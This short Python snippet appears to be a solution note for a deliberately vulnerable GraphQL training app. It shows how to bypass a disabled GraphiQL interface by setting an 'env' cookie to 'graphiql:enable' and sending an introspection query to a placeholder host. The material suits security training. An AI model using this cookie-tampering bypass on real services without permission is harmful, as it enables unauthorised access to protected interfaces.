# Beginner mode
# Cookie 'env' stores a string with an instruction to disable graphiql. altering the value to contain graphiql:enable will bypass the protection
# Alter the env cookie to change "graphiql:disable" to "graphiql:enable" to bypass this check:
requests.post('http://host/graphiql',
json={"query":"query IntrospectionQuery{__schema {queryType { name } mutationType { name } subscriptionType { name }}}"},
cookies={'env':'graphiql:enable'}
)
# Expert mode
# GraphiQL interface is disabled.